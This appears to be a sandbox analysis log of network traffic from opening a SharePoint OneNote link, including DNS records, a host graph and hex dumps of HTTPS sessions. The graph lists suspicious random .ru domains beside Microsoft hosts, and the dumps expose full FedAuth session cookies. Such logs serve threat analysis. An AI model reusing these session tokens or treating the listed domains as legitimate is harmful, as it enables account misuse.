Apr 26, 2024 10:00:20.583504915 CEST	1.1.1.1	192.168.2.4	0x6bc8	No error (0)	wac-0003.wac-msedge.net		52.108.8.12	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:20.583504915 CEST	1.1.1.1	192.168.2.4	0x6bc8	No error (0)	wac-0003.wac-msedge.net		52.108.9.12	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:21.368809938 CEST	1.1.1.1	192.168.2.4	0x3703	No error (0)	fnfi.kewtdz.ru			65	IN (0x0001)	false
Apr 26, 2024 10:00:21.386399031 CEST	1.1.1.1	192.168.2.4	0x5594	No error (0)	fnfi.kewtdz.ru		172.67.209.50	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:21.386399031 CEST	1.1.1.1	192.168.2.4	0x5594	No error (0)	fnfi.kewtdz.ru		104.21.23.49	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:23.915523052 CEST	1.1.1.1	192.168.2.4	0x19fa	No error (0)	usc-onenote.wac.trafficmanager.net.wac-0003.wac-dc-msedge.net.wac-0003.wac-msedge.net	wac-0003.wac-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 10:00:23.915523052 CEST	1.1.1.1	192.168.2.4	0x19fa	No error (0)	wac-0003.wac-msedge.net		52.108.8.12	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:23.915523052 CEST	1.1.1.1	192.168.2.4	0x19fa	No error (0)	wac-0003.wac-msedge.net		52.108.9.12	A (IP address)	IN (0x0001)	false
Apr 26, 2024 10:00:25.954658985 CEST	1.1.1.1	192.168.2.4	0x4564	No error (0)	scdn1cc4b.wpc.9aea3.sigmacdn.net	sni1gl.wpc.sigmacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 26, 2024 10:00:25.954658985 CEST	1.1.1.1	192.168.2.4	0x4564	No error (0)	sni1gl.wpc.sigmacdn.net		152.195.19.97	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

usigroups-my.sharepoint.com

https:

wise.public.cdn.office.net

usc-onenote.officeapps.live.com

common.online.office.com

res.cdn.office.net

www.onenote.com

amcdn.msftauth.net

js.monitor.azure.com

wise-m.public.cdn.office.net

4odq.cxnev1.ru

yo5.6gniu68.ru

www.google.com

fdexa.nhol.ru

code.jquery.com

fnfi.kewtdz.ru

fs.microsoft.com

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	13.107.136.10	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:08 UTC	734	OUT	GET /:o:/p/js/Es3HdUJZlbVJngCJE-Z7JCYBUTZvd1ZCMQwZhhlQoy_hDw?e=mT2aQm HTTP/1.1 Host: usigroups-my.sharepoint.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 07:59:08 UTC	3477	IN	HTTP/1.1 302 Found Cache-Control: private Content-Length: 544 Content-Type: text/html; charset=utf-8 Location: https://usigroups-my.sharepoint.com/personal/js_usigroups_com/_layouts/15/Doc.aspx?sourcedoc=%7B4275c7cd-9559-49b5-9e00-8913e67b2426%7D&action=default&slrid=72b922a1-606a-5000-1e3f-a1efd5f66a0e&originalPath=aHR0cHM6Ly91c2lncm91cHMtbXkuc2hhcmVwb2ludC5jb20vOm86L3AvanMvRXMzSGRVSlpsYlZKbmdDSkUtWjdKQ1lCVVRadmQxWkNNUXdaaGhsUW95X2hEdz9ydGltZT1femwzd01abDNFZw&cid=1ce6514f-d17e-4450-a36c-695e66f4f888&_SRM=0:G:105 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2UzZTQyMjNiNWUyYzNhMzg2N2RhNWE3NjVjYjI0ZDQ1Yjk5ZjlmMTllZWViNTNlYTA4ZTgzNGQ3ODZiZTBiM2QsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jZTNlNDIyM2I1ZTJjM2EzODY3ZGE1YTc2NWNiMjRkNDViOTlmOWYxOWVlZWI1M2VhMDhlODM0ZDc4NmJlMGIzZCwxMzM1ODU5MjI0ODAwMDAwMDAsMCwxMzM1ODY3ODM0ODY1ODA3NzcsMC4wLjAuMCwyNTgsOWY1YWU1ZTAtZjQ2OC00NGMyLThiYWEtZTZlN2JjMzZjNzEwLCwsNzJiOTIyYTEtNjA2YS01MDAwLTFlM2YtYTFlZmQ1ZjY2YTBlLDcyYjkyMmExLTYwNmEtNTAwMC0xZTNmLWExZWZkNWY2NmEwZSw4dmZuak5wRUQwYWxOc2RkRlZ5Tzd3LDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTMzMDYsRGFEQWZqUVFtcHlPWHgyUnJLX1c1bHZvTFo0LE83Z1N1Wi9VQ2FKVEs5a2oyZjdVbzQ1S3E2K0dYb3RYazA2QTc4cXIzbmU4VUN1R1Z1S3JxaWVhT2p5RGhRNE1kMU9MVEQzem8vMjRPMis2UU0vTlpLK281WmJRQXVGOVdKK2xaRGVUd1FLOEFrSEk3SGRLcnplNmNtTVd4YytXbnArdkd0bmFoSUdsQlpSU1ZQYzlUcWR4Q3BlSUMxeDVTOURkUjM1QzB3QlhTRXEwT3FrOVMyWGJ5YnRXdmJMeURib0JjWjRQbm0wd21IV21kVjBOWmV4MDlVOXc0RXZCaEdHdGxvdG83TVNXRjYycExKQ09nZllZOHFLaGVZR1RTNk9oTmRrYWxnUXFzVzlQa0oyYkdXYWVneUtsY21HRUJoRHlLckpTUkU1QVRZR2p2cjJMR3E0WkRDSlRzYjU5c29PVUpPbjFUbmIzOG8wYUdEa1Fldz09PC9TUD4=; path=/; SameSite=None; secure; HttpOnly X-NetworkStatistics: 0,525568,0,0,4976309,0,525568 X-SharePointHealthScore: 3 X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 72b922a1-606a-5000-1e3f-a1efd5f66a0e request-id: 72b922a1-606a-5000-1e3f-a1efd5f66a0e MS-CV: oSK5cmpgAFAeP6Hv1fZqDg.0 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=9f5ae5e0-f468-44c2-8baa-e6e7bc36c710&destinationEndpoint=Edge-Prod-MIA30r5b&frontEnd=AFD&RemoteIP=102.129.152.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com .office365.com .powerapps.com .yammer.com engage.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 235 SPIisLatency: 3 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.24803 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: D416AAAFD78249F5A5B0617D6613C95C Ref B: MIA301000104011 Ref C: 2024-04-26T07:59:08Z Date: Fri, 26 Apr 2024 07:59:07 GMT Connection: close
2024-04-26 07:59:08 UTC	544	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 69 67 72 6f 75 70 73 2d 6d 79 2e 73 68 61 72 65 70 6f 69 6e 74 2e 63 6f 6d 2f 70 65 72 73 6f 6e 61 6c 2f 6a 73 5f 75 73 69 67 72 6f 75 70 73 5f 63 6f 6d 2f 5f 6c 61 79 6f 75 74 73 2f 31 35 2f 44 6f 63 2e 61 73 70 78 3f 73 6f 75 72 63 65 64 6f 63 3d 25 37 42 34 32 37 35 63 37 63 64 2d 39 35 35 39 2d 34 39 62 35 2d 39 65 30 30 2d 38 39 31 33 65 36 37 62 32 34 32 36 25 37 44 26 61 6d 70 3b 61 63 74 69 6f 6e 3d 64 65 66 61 75 6c 74 26 61 6d 70 3b 73 6c 72 69 64 3d 37 32 62 39 32 32 61 Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="https://usigroups-my.sharepoint.com/personal/js_usigroups_com/_layouts/15/Doc.aspx?sourcedoc=%7B4275c7cd-9559-49b5-9e00-8913e67b2426%7D&action=default&slrid=72b922a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49736	13.107.136.10	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:08 UTC	2203	OUT	GET /personal/js_usigroups_com/_layouts/15/Doc.aspx?sourcedoc=%7B4275c7cd-9559-49b5-9e00-8913e67b2426%7D&action=default&slrid=72b922a1-606a-5000-1e3f-a1efd5f66a0e&originalPath=aHR0cHM6Ly91c2lncm91cHMtbXkuc2hhcmVwb2ludC5jb20vOm86L3AvanMvRXMzSGRVSlpsYlZKbmdDSkUtWjdKQ1lCVVRadmQxWkNNUXdaaGhsUW95X2hEdz9ydGltZT1femwzd01abDNFZw&cid=1ce6514f-d17e-4450-a36c-695e66f4f888&_SRM=0:G:105 HTTP/1.1 Host: usigroups-my.sharepoint.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2UzZTQyMjNiNWUyYzNhMzg2N2RhNWE3NjVjYjI0ZDQ1Yjk5ZjlmMTllZWViNTNlYTA4ZTgzNGQ3ODZiZTBiM2QsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jZTNlNDIyM2I1ZTJjM2EzODY3ZGE1YTc2NWNiMjRkNDViOTlmOWYxOWVlZWI1M2VhMDhlODM0ZDc4NmJlMGIzZCwxMzM1ODU5MjI0ODAwMDAwMDAsMCwxMzM1ODY3ODM0ODY1ODA3NzcsMC4wLjAuMCwyNTgsOWY1YWU1ZTAtZjQ2OC00NGMyLThiYWEtZTZlN2JjMzZjNzEwLCwsNzJiOTIyYTEtNjA2YS01MDAwLTFlM2YtYTFlZmQ1ZjY2YTBlLDcyYjkyMmExLTYwNmEtNTAwMC0xZTNmLWExZWZkNWY2NmEwZSw4dmZuak5wRUQwYWxOc2RkRlZ5Tzd3LDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTMzMDYsRGFEQWZqUVFtcHlPWHgyUnJLX1c1bHZvTFo0LE83Z1N1Wi9VQ2FKVEs5a2oyZjdVbzQ1S3E2K0dYb3RYazA2QTc4cXIzbmU4VUN1R1Z1S3JxaWVhT2p5RGhRNE1kMU9MVEQzem8vMjRPMis2UU0vTlpLK281WmJRQXVGOVdKK2xaRGVUd1FLOEFrSEk3SGRLcnplNmNtTVd4YytXbnArdkd0bmFoSUdsQlpSU1ZQYzlUcWR4Q3BlSUMxeDVTOURkUjM1QzB3QlhTRXEwT3FrOVMyWGJ5YnRXdmJMeURib0JjWjRQbm0wd21IV21kVjBOWmV4MDlVOXc0RXZCaEdHdGxvdG83TVNXRjYycExKQ09nZllZOHFLaGVZR1RTNk9oTmRrYWxnUXFzVzlQa0oyYkdXYWVneUtsY21HRUJoRHlLckpTUkU1QVRZR2p2cjJMR3E0WkRDSlRzYjU5c29PVUpPbjFUbmIzOG8wYUdEa1Fldz09PC9TUD4=
2024-04-26 07:59:09 UTC	3181	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store Pragma: no-cache Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 Expires: -1 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2UzZTQyMjNiNWUyYzNhMzg2N2RhNWE3NjVjYjI0ZDQ1Yjk5ZjlmMTllZWViNTNlYTA4ZTgzNGQ3ODZiZTBiM2QsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jZTNlNDIyM2I1ZTJjM2EzODY3ZGE1YTc2NWNiMjRkNDViOTlmOWYxOWVlZWI1M2VhMDhlODM0ZDc4NmJlMGIzZCwxMzM1ODU5MjI0ODAwMDAwMDAsMCwxMzM1ODY3ODM0ODY1ODA3NzcsMC4wLjAuMCwyNTgsOWY1YWU1ZTAtZjQ2OC00NGMyLThiYWEtZTZlN2JjMzZjNzEwLCwsNzJiOTIyYTEtNjA2YS01MDAwLTFlM2YtYTFlZmQ1ZjY2YTBlLDcyYjkyMmExLTYwNmEtNTAwMC0xZTNmLWExZWZkNWY2NmEwZSw4dmZuak5wRUQwYWxOc2RkRlZ5Tzd3LDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTMzMDYsRGFEQWZqUVFtcHlPWHgyUnJLX1c1bHZvTFo0LE83Z1N1Wi9VQ2FKVEs5a2oyZjdVbzQ1S3E2K0dYb3RYazA2QTc4cXIzbmU4VUN1R1Z1S3JxaWVhT2p5RGhRNE1kMU9MVEQzem8vMjRPMis2UU0vTlpLK281WmJRQXVGOVdKK2xaRGVUd1FLOEFrSEk3SGRLcnplNmNtTVd4YytXbnArdkd0bmFoSUdsQlpSU1ZQYzlUcWR4Q3BlSUMxeDVTOURkUjM1QzB3QlhTRXEwT3FrOVMyWGJ5YnRXdmJMeURib0JjWjRQbm0wd21IV21kVjBOWmV4MDlVOXc0RXZCaEdHdGxvdG83TVNXRjYycExKQ09nZllZOHFLaGVZR1RTNk9oTmRrYWxnUXFzVzlQa0oyYkdXYWVneUtsY21HRUJoRHlLckpTUkU1QVRZR2p2cjJMR3E0WkRDSlRzYjU5c29PVUpPbjFUbmIzOG8wYUdEa1Fldz09PC9TUD4=; path=/; SameSite=None; secure; HttpOnly X-NetworkStatistics: 0,1051136,28,0,11210882,0,735983 X-SharePointHealthScore: 3 Referrer-Policy: no-referrer, strict-origin-when-cross-origin Server-Timing: LT; desc=0, RS; desc=G, RD; dur=105 X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 72b922a1-508d-5000-1e3f-ab9fc2ba975e request-id: 72b922a1-508d-5000-1e3f-ab9fc2ba975e MS-CV: oSK5co1QAFAeP6ufwrqXXg.0 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=9f5ae5e0-f468-44c2-8baa-e6e7bc36c710&destinationEndpoint=Edge-Prod-MIA30r5b&frontEnd=AFD&RemoteIP=102.129.152.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com .office365.com .powerapps.com .yammer.com engage.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.24803 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: D348AAF4A92C41C3A662AD12A5A0DE81 Ref B: MIA301000104019 Ref C: 2024-04-26T07:59:08Z Date: Fri, 26 Apr 2024 07:59:08 GMT Connection: close
2024-04-26 07:59:09 UTC	1785	IN	Data Raw: 36 66 32 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 09 0d 0a 09 09 3c 21 2d 2d 20 4f 57 4c 20 2d 2d 3e 0d 0a 09 09 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0d 0a 09 3c 6d 65 74 61 0d 0a 09 09 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 0d 0a 09 09 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 Data Ascii: 6f2<!DOCTYPE html><html lang="en-us" dir="ltr">... OWL --><head><meta http-equiv="X-UA-Compatible" content="IE=edge" /><metaname="viewport"content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1
2024-04-26 07:59:09 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 6e 51 75 59 32 39 74 51 44 6c 6d 4e 57 46 6c 4e 57 55 77 4c 57 59 30 4e 6a 67 74 4e 44 52 6a 4d 69 30 34 59 6d 46 68 4c 57 55 32 5a 54 64 69 59 7a 4d 32 59 7a 63 78 4d 43 49 73 49 6d 4e 68 59 32 68 6c 61 32 56 35 49 6a 6f 69 4d 47 67 75 5a 6e 78 74 5a 57 31 69 5a 58 4a 7a 61 47 6c 77 66 48 56 79 62 69 55 7a 59 58 4e 77 62 79 55 7a 59 57 46 75 62 32 34 6a 5a 54 4e 6c 4e 44 49 79 4d 32 49 31 5a 54 4a 6a 4d 32 45 7a 4f 44 59 33 5a 47 45 31 59 54 63 32 4e 57 4e 69 4d 6a 52 6b 4e 44 56 69 4f 54 6c 6d 4f 57 59 78 4f 57 56 6c 5a 57 49 31 4d 32 56 68 4d 44 68 6c 4f 44 4d 30 5a 44 63 34 4e 6d 4a 6c 4d 47 49 7a 5a 43 49 73 49 6d 4e 70 5a 43 49 36 49 6d 39 54 53 7a 56 6a 62 7a 46 52 51 55 5a 42 5a 56 41 32 64 57 5a 33 63 6e 46 59 57 47 63 39 50 53 Data Ascii: 2000nQuY29tQDlmNWFlNWUwLWY0NjgtNDRjMi04YmFhLWU2ZTdiYzM2YzcxMCIsImNhY2hla2V5IjoiMGguZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jZTNlNDIyM2I1ZTJjM2EzODY3ZGE1YTc2NWNiMjRkNDViOTlmOWYxOWVlZWI1M2VhMDhlODM0ZDc4NmJlMGIzZCIsImNpZCI6Im9TSzVjbzFRQUZBZVA2dWZ3cnFYWGc9PS
2024-04-26 07:59:09 UTC	3355	IN	Data Raw: 64 31 34 0d 0a 41 42 41 6a 59 42 41 68 41 41 41 51 41 51 41 42 41 51 42 69 4a 68 41 41 59 67 41 42 42 77 63 41 41 41 41 47 41 41 41 41 45 22 2c 22 65 78 70 65 72 69 6d 65 6e 74 44 61 74 61 4c 6f 6f 6b 75 70 22 3a 5b 5d 2c 22 63 6c 6f 75 64 54 79 70 65 22 3a 22 70 72 6f 64 22 2c 22 61 72 69 61 43 6f 6c 6c 65 63 74 6f 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 62 72 6f 77 73 65 72 2e 70 69 70 65 2e 61 72 69 61 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 43 6f 6c 6c 65 63 74 6f 72 2f 33 2e 30 2f 22 7d 3b 5f 73 70 50 61 67 65 43 6f 6e 74 65 78 74 49 6e 66 6f 2e 75 70 64 61 74 65 46 6f 72 6d 44 69 67 65 73 74 50 61 67 65 4c 6f 61 64 65 64 3d 6e 65 77 20 44 61 74 65 28 29 3b 5f 73 70 50 61 67 65 43 6f 6e 74 65 78 74 49 6e 66 6f 2e 63 6c 69 65 6e 74 53 65 72 Data Ascii: d14ABAjYBAhAAAQAQABAQBiJhAAYgABBwcAAAAGAAAAE","experimentDataLookup":[],"cloudType":"prod","ariaCollectorUrl":"https://browser.pipe.aria.microsoft.com/Collector/3.0/"};_spPageContextInfo.updateFormDigestPageLoaded=new Date();_spPageContextInfo.clientSer
2024-04-26 07:59:09 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 45 41 37 46 38 46 39 42 36 46 22 3a 31 2c 22 43 30 45 41 31 33 41 41 2d 41 46 32 32 2d 34 39 33 37 2d 38 44 46 37 2d 33 43 46 42 45 46 33 39 39 42 32 44 22 3a 31 2c 22 39 33 34 36 46 34 34 38 2d 32 41 43 44 2d 34 43 39 46 2d 39 41 33 32 2d 36 42 37 30 30 46 31 45 32 42 35 33 22 3a 31 2c 22 37 35 34 36 30 38 44 39 2d 38 35 43 32 2d 34 30 35 38 2d 39 33 42 36 2d 31 45 33 45 31 37 31 32 43 37 32 41 22 3a 31 2c 22 45 38 46 31 37 45 46 31 2d 38 42 34 39 2d 34 34 31 35 2d 39 46 42 43 2d 30 35 30 35 39 34 38 43 32 38 37 30 22 3a 31 2c 22 37 37 31 33 44 46 39 35 2d 41 32 46 45 2d 34 38 42 30 2d 38 38 44 41 2d 43 36 33 44 46 46 34 45 35 33 43 36 22 3a 31 2c 22 42 32 41 44 32 35 46 30 2d 42 31 42 42 2d 34 31 38 31 2d 38 37 46 34 2d 34 36 35 31 45 Data Ascii: 2000EA7F8F9B6F":1,"C0EA13AA-AF22-4937-8DF7-3CFBEF399B2D":1,"9346F448-2ACD-4C9F-9A32-6B700F1E2B53":1,"754608D9-85C2-4058-93B6-1E3E1712C72A":1,"E8F17EF1-8B49-4415-9FBC-0505948C2870":1,"7713DF95-A2FE-48B0-88DA-C63DFF4E53C6":1,"B2AD25F0-B1BB-4181-87F4-4651E
2024-04-26 07:59:09 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 2d 38 44 30 44 2d 46 33 42 45 35 30 31 35 44 32 34 35 22 3a 31 2c 22 45 44 45 42 37 38 33 38 2d 37 41 41 43 2d 34 38 32 36 2d 39 44 36 32 2d 30 44 44 34 33 44 31 36 41 30 38 37 22 3a 31 2c 22 30 38 37 42 38 36 35 36 2d 33 41 32 45 2d 34 31 43 36 2d 42 31 45 33 2d 38 37 42 46 32 39 34 31 42 42 46 36 22 3a 31 2c 22 44 44 33 37 31 30 32 31 2d 43 38 33 38 2d 34 33 31 35 2d 41 45 35 45 2d 30 32 31 35 37 43 46 30 31 33 43 36 22 3a 31 2c 22 35 45 34 32 44 44 38 33 2d 38 41 32 30 2d 34 42 46 41 2d 38 32 41 34 2d 32 39 37 34 39 42 41 44 46 30 32 44 22 3a 31 2c 22 41 41 45 43 42 32 43 39 2d 39 43 42 30 2d 34 41 38 39 2d 42 30 30 36 2d 37 41 39 36 42 38 43 32 34 46 36 33 22 3a 31 2c 22 39 34 44 41 39 42 44 45 2d 41 30 33 37 2d 34 37 45 42 2d 42 34 Data Ascii: 2000-8D0D-F3BE5015D245":1,"EDEB7838-7AAC-4826-9D62-0DD43D16A087":1,"087B8656-3A2E-41C6-B1E3-87BF2941BBF6":1,"DD371021-C838-4315-AE5E-02157CF013C6":1,"5E42DD83-8A20-4BFA-82A4-29749BADF02D":1,"AAECB2C9-9CB0-4A89-B006-7A96B8C24F63":1,"94DA9BDE-A037-47EB-B4
2024-04-26 07:59:09 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 42 43 35 2d 37 33 37 30 2d 42 38 33 30 2d 45 31 44 39 34 44 31 34 32 42 35 35 22 3a 31 2c 22 33 45 36 33 37 34 37 37 2d 36 46 46 37 2d 34 45 39 41 2d 38 30 33 33 2d 37 38 36 37 41 44 38 34 43 44 32 46 22 3a 31 2c 22 38 42 37 33 36 32 45 33 2d 45 33 34 36 2d 34 30 38 30 2d 39 44 33 39 2d 39 46 31 34 44 46 32 38 44 45 35 31 22 3a 31 2c 22 41 36 36 33 36 30 35 30 2d 41 36 36 37 2d 34 36 38 37 2d 41 32 37 42 2d 39 42 46 45 36 41 45 43 34 42 31 42 22 3a 31 2c 22 38 45 37 46 35 36 36 31 2d 35 37 42 38 2d 34 30 43 37 2d 42 46 42 31 2d 41 38 34 32 31 36 36 37 45 38 31 37 22 3a 31 2c 22 32 46 30 34 44 42 36 44 2d 34 31 44 31 2d 34 30 34 42 2d 42 37 39 32 2d 44 45 33 35 42 36 46 34 35 35 39 35 22 3a 31 2c 22 37 45 41 41 44 43 30 35 2d 36 32 30 33 Data Ascii: 2000BC5-7370-B830-E1D94D142B55":1,"3E637477-6FF7-4E9A-8033-7867AD84CD2F":1,"8B7362E3-E346-4080-9D39-9F14DF28DE51":1,"A6636050-A667-4687-A27B-9BFE6AEC4B1B":1,"8E7F5661-57B8-40C7-BFB1-A8421667E817":1,"2F04DB6D-41D1-404B-B792-DE35B6F45595":1,"7EAADC05-6203
2024-04-26 07:59:09 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 33 38 42 44 30 35 2d 33 32 41 33 2d 34 35 45 38 2d 39 36 36 32 2d 45 46 31 38 35 38 30 31 38 43 37 35 22 3a 31 2c 22 35 39 41 32 37 45 38 30 2d 39 39 33 31 2d 34 31 36 34 2d 41 39 42 38 2d 39 45 45 33 46 45 46 38 46 33 35 44 22 3a 31 2c 22 44 43 35 35 38 31 31 38 2d 44 42 46 41 2d 34 42 32 43 2d 39 31 41 45 2d 31 44 37 38 35 35 30 45 31 33 42 42 22 3a 31 2c 22 35 38 45 45 38 36 45 30 2d 39 42 43 34 2d 34 43 36 31 2d 39 34 46 34 2d 39 33 30 32 45 37 30 44 34 30 37 39 22 3a 31 2c 22 44 38 37 37 35 45 30 32 2d 36 34 42 35 2d 34 35 46 46 2d 38 30 32 43 2d 32 39 35 39 44 42 45 37 33 43 37 46 22 3a 31 2c 22 38 45 31 31 34 37 46 32 2d 35 45 33 44 2d 34 46 34 41 2d 41 44 39 41 2d 36 38 37 44 34 30 35 33 34 45 30 32 22 3a 31 2c 22 31 37 34 43 30 Data Ascii: 200038BD05-32A3-45E8-9662-EF1858018C75":1,"59A27E80-9931-4164-A9B8-9EE3FEF8F35D":1,"DC558118-DBFA-4B2C-91AE-1D78550E13BB":1,"58EE86E0-9BC4-4C61-94F4-9302E70D4079":1,"D8775E02-64B5-45FF-802C-2959DBE73C7F":1,"8E1147F2-5E3D-4F4A-AD9A-687D40534E02":1,"174C0
